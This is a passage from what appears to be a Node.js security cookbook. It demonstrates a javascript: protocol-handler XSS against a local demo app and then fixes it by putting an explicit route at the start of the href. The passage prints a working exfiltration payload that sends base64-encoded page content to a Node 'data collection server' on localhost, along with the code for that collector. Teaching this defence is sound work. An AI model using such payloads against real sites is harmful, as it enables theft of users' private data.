Preventing protocol-handler-based XSS

Our server is still vulnerable to XSS injection.

In this scenario, an attacker is going to steal the status (which represents privileged information).

Let's use the following command to create a malicious data collection server:

$ node -e "require('http').createServer((req, res) => {
console.log(
req.connection.remoteAddress,
Buffer(req.url.split('/attack/')[1], 'base64').toString().trim()
)
}).listen(3001)"

We're using the -e flag (evaluate) to quickly spin up an HTTP server that logs the user IP address, and stolen status. It's expecting the status to be base64 encoded (this helps to avoid potential errors on the client side).

Now let's start the fixed-app server from the main recipe:

$ cd fixed-app
$ node index.js

In the browser, we'll use the following URL to initiate the attack:

http://localhost:3000/?prev=javascript:(new%20Image().src)=`http://localhost:3001/attack/${btoa(stat.innerHTML)}`,0/

This won't change any visible rendering, but it will cause the "Back to Control HQ" link to point to javascript:(new Image().src)=``http://localhost:3001/attack/${btoa(stat.innerHTML)}``,0/.

When the link is clicked, an HTML <img> element is created, (via the JavaScript Image constructor), with the src attribute set to our attack server with the base64 encoded stolen status. We use the btoa global function to base64 encode, and the global DOM element ID behavior to again grab the inner HTML of the status <div>. The following,0 portion causes the return value of the entire expression to be false, if the return value is not false the browser will render it (in this case the absence of the,0 would result in the browser rendering the attack URL, which is a dead giveaway). The final forward slash / couples with the forward slash after the prev parameter to create a double forward slash (//), which in JavaScript is a comment. This causes the rest of the content in the href to be ignored.

If we click the link, our data collection server should show a message:

::1 ON FIRE!!! HELP!!! 

As shown in the following screenshot:

::1 is the IPv6 address for the localhost (the equivalent of 127.0.0.1).

The javascript: protocol handler allows for JavaScript execution as a URI. This is, of course, a terrible idea. However, custom protocol handlers are introduced into browsers all the time and may also have vulnerabilities. For instance, the Steam gaming platform when installed introduces the steam:// protocol into browsers, which could, in turn, be exploited to execute arbitrary Operating System commands on the host machine via a second buffer overflow vulnerability in Steams splash screen (see http://revuln.com/files/ReVuln_Steam_Browser_Protocol_Insecurity.pdf).

Our server is vulnerable because we allow user input to determine the beginning of a href attribute - the only safe way to avoid a protocol handler exploit is to never do that.

We can fix this by including an explicit route in the href attribute.

Let's copy fixed-app to protocol-safe-app:

$ cp -fr fixed-app protocol-safe-app 

Now let's modify the href constant to:

    const href = escapeHtml(`/${prev}${handoverToken}/${lang}`) 

If we stop the fixed-app server and start the protocol-safe-app server:

$ cd protocol-safe-app
$ node index.js

And attempt to use the same URL http://localhost:3000/?prev=javascript:(new%20Image().src)='http://localhost:3001/attack/${btoa(stat.innerHTML)}',0/, when we click the Back to Control HQ link, we should instead receive a 404 message (in development the message will be something like "Cannot GET /javascript:(new%20Image().src)=%60http://localhost:3001/attack/$%7Bbtoa(stat.innerHTML)%7D%60,0//en".

CSRF
This attack conceptually touches on CSRF, by using XSS to initiate
an attack that uses the (hypothetical) access privilege of the user to execute commands on their behalf. We'll find out more about CSRF in the Preventing Cross Site Request Forgery recipe.
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset